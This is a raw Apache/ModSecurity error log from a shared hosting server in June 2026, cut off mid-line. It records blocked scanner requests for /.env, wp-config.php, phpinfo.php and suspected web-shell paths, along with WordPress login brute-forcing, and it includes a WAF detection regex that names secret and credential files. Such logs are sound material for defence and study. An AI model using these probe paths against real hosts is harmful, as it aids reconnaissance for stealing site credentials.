REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wnCmiP80klyS0NnrgaQAAAUg"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.474461 2026] [security2:error] [pid 531155:tid 531295] [client 91.92.42.86:10164] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wnCmiP80klyS0NnrgcAAAARQ"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.486894 2026] [security2:error] [pid 531155:tid 531317] [client 91.92.42.86:36968] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "eoz.fiz.mybluehost.me"] [uri "/.env"] [unique_id "ai3wnCmiP80klyS0NnrgcQAAASo"], referer: http://eoz.fiz.mybluehost.me/.env [Sat Jun 13 18:06:52.495224 2026] [security2:error] [pid 531797:tid 532021] [client 91.92.42.86:10174] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BVgAAAi0"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.498848 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.100:33509] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:52.499290 2026] [access_compat:error] [pid 531797:tid 531939] [remote 57.141.14.100:33509] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:52.511067 2026] [security2:error] [pid 531797:tid 532020] [client 91.92.42.86:10176] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BVwAAAiw"], referer: http://mail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.532208 2026] [security2:error] [pid 531155:tid 531297] [client 91.92.42.86:10214] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wnCmiP80klyS0NnrgcgAAARY"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.584832 2026] [security2:error] [pid 531797:tid 532063] [client 91.92.42.86:10244] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wnMTA7b1mZrmcA-8BXQAAAlU"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.628269 2026] [security2:error] [pid 531155:tid 531304] [client 91.92.42.86:10258] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wnCmiP80klyS0NnrgewAAAR0"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.634337 2026] [security2:error] [pid 531155:tid 531296] [client 91.92.42.86:10264] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/.env"] [unique_id "ai3wnCmiP80klyS0NnrgfAAAARU"], referer: http://webdisk.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:52.664323 2026] [autoindex:error] [pid 531797:tid 532106] [client 151.247.52.102:59637] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://bienesraices.hn/__media__/js/netsoltrademark.php?d=lapasteeventos.com [Sat Jun 13 18:06:52.679791 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:06:52.680064 2026] [access_compat:error] [pid 531155:tid 531161] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9tb3VzZTIvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:06:52.697857 2026] [security2:error] [pid 531155:tid 531205] [remote 17.241.219.90:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 90.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wnCmiP80klyS0NnrggwABIDE"] [Sat Jun 13 18:06:52.737560 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:52.738011 2026] [access_compat:error] [pid 531155:tid 531197] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMva2VybmVsL2lycS8yNQ== [Sat Jun 13 18:06:52.803303 2026] [security2:error] [pid 531155:tid 531316] [client 216.73.216.241:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 241.216.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/vsprintf_variation8.phpt"] [unique_id "ai3wnCmiP80klyS0NnrgiAAAASk"] [Sat Jun 13 18:06:52.891700 2026] [security2:error] [pid 531155:tid 531331] [client 91.92.42.86:36996] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "mail.eoz.fiz.mybluehost.me"] [uri "/.env"] [unique_id "ai3wnCmiP80klyS0NnrgjAAAATg"], referer: http://mail.eoz.fiz.mybluehost.me/.env [Sat Jun 13 18:06:52.896167 2026] [security2:error] [pid 531155:tid 531391] [client 89.251.0.48:40593] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 48.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-content/uploads/uploads.php"] [unique_id "ai3wnCmiP80klyS0NnrgjgAAAXQ"] [Sat Jun 13 18:06:52.906016 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.74:22242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:52.906442 2026] [access_compat:error] [pid 531155:tid 531236] [remote 57.141.14.74:22242] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:53.018170 2026] [security2:error] [pid 531155:tid 531324] [client 91.92.42.86:10290] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/config.php"] [unique_id "ai3wnSmiP80klyS0NnrglgAAATE"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:53.018480 2026] [security2:error] [pid 531155:tid 531349] [client 91.92.42.86:10296] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/info.php"] [unique_id "ai3wnSmiP80klyS0NnrglwAAAUo"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:53.078685 2026] [security2:error] [pid 531155:tid 531334] [client 91.92.42.86:10326] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/___proxy_subdomain_webmail/.env"] [unique_id "ai3wnSmiP80klyS0NnrgmQAAATs"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:53.110645 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.26:62282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:53.111074 2026] [access_compat:error] [pid 531155:tid 531217] [remote 57.141.14.26:62282] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:53.125127 2026] [security2:error] [pid 531155:tid 531373] [client 91.92.42.86:10340] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/wp-config.php"] [unique_id "ai3wnSmiP80klyS0NnrgngAAAWI"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:53.126149 2026] [security2:error] [pid 531797:tid 532065] [client 91.92.42.86:10348] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 86.42.92.91.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.eoz.fiz.mybluehost.me"] [uri "/phpinfo.php"] [unique_id "ai3wncTA7b1mZrmcA-8BaAAAAlc"], referer: http://webmail.eoz.fiz.mybluehost.me/ [Sat Jun 13 18:06:53.242854 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZS9pZA== [Sat Jun 13 18:06:53.243128 2026] [access_compat:error] [pid 531155:tid 531278] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9ldmVudDQvc3Vic3lzdGVtL2V2ZW50MC9kZXZpY2UvZXZlbnQwL2RldmljZS9pZA== [Sat Jun 13 18:06:53.348375 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:06:53.348776 2026] [access_compat:error] [pid 531155:tid 531160] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly9zeXMvZGV2L2NoYXI= [Sat Jun 13 18:06:53.394361 2026] [security2:error] [pid 531155:tid 531263] [remote 17.241.219.171:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 171.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wnSmiP80klyS0NnrgrQABUWs"] [Sat Jun 13 18:06:53.469215 2026] [autoindex:error] [pid 531797:tid 532115] [client 151.247.52.102:59831] AH01276: Cannot serve directory /home3/tutiend2/public_html/: No matching DirectoryIndex (index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.php,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: http://bienesraices.hn/__media__/js/netsoltrademark.php?d=lapasteeventos.com [Sat Jun 13 18:06:53.520335 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.24:49236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:53.520630 2026] [access_compat:error] [pid 531797:tid 531916] [remote 57.141.14.24:49236] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:53.552913 2026] [security2:error] [pid 531797:tid 532125] [client 148.113.209.179:33182] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wncTA7b1mZrmcA-8BeAAAApA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:53.574784 2026] [security2:error] [pid 531797:tid 532113] [client 148.113.209.179:33166] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wncTA7b1mZrmcA-8BeQAAAoY"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:53.653725 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.88:48880] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:53.654163 2026] [access_compat:error] [pid 531155:tid 531204] [remote 57.141.14.88:48880] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:53.718977 2026] [security2:error] [pid 531797:tid 532014] [client 89.251.0.50:21791] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 50.0.251.89.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.expertappliance.org"] [uri "/wp-includes/file.php"] [unique_id "ai3wncTA7b1mZrmcA-8BewAAAiY"] [Sat Jun 13 18:06:53.781759 2026] [security2:error] [pid 531797:tid 532060] [client 148.113.209.179:33186] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wncTA7b1mZrmcA-8BfQAAAlI"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:53.798493 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:06:53.798789 2026] [access_compat:error] [pid 531155:tid 531272] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2Uvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZQ== [Sat Jun 13 18:06:53.829061 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.110:58120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:53.829493 2026] [access_compat:error] [pid 531797:tid 531891] [remote 57.141.14.110:58120] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:53.831712 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=Ly92YXIvbGli [Sat Jun 13 18:06:53.832041 2026] [access_compat:error] [pid 531155:tid 531201] [remote 74.7.227.22:45002] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=Ly92YXIvbGli [Sat Jun 13 18:06:53.834105 2026] [security2:error] [pid 531155:tid 531158] [remote 17.241.219.228:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 228.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3wnSmiP80klyS0NnrgwAABSwI"] [Sat Jun 13 18:06:53.857393 2026] [security2:error] [pid 531155:tid 531399] [client 148.113.209.179:33188] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 179.209.113.148.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3wnSmiP80klyS0NnrgwgAAAXw"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:06:53.947567 2026] [security2:error] [pid 531797:tid 532067] [client 191.234.188.123:24982] ModSecurity: Warning. Pattern match "/1\\\\.php" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1543"] [id "900921"] [msg "temporary TUW-72162 logging rule"] [hostname "webdisk.popsandlolly.com"] [uri "/1.php"] [unique_id "ai3wncTA7b1mZrmcA-8BgwAAAlk"] [Sat Jun 13 18:06:53.947713 2026] [security2:error] [pid 531797:tid 532067] [client 191.234.188.123:24982] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.popsandlolly.com"] [uri "/1.php"] [unique_id "ai3wncTA7b1mZrmcA-8BgwAAAlk"] [Sat Jun 13 18:06:54.140631 2026] [security2:error] [pid 531797:tid 532032] [client 191.233.234.186:44748] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.peoplecapitalglobal.com"] [uri "/crgio.php"] [unique_id "ai3wnsTA7b1mZrmcA-8BigAAAjc"] [Sat Jun 13 18:06:54.258724 2026] [access_compat:error] [pid 531797:tid 531979] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:06:54.259265 2026] [access_compat:error] [pid 531797:tid 531979] [remote 216.73.217.87:17554] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:06:54.313188 2026] [access_compat:error] [pid 531155:tid 531242] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 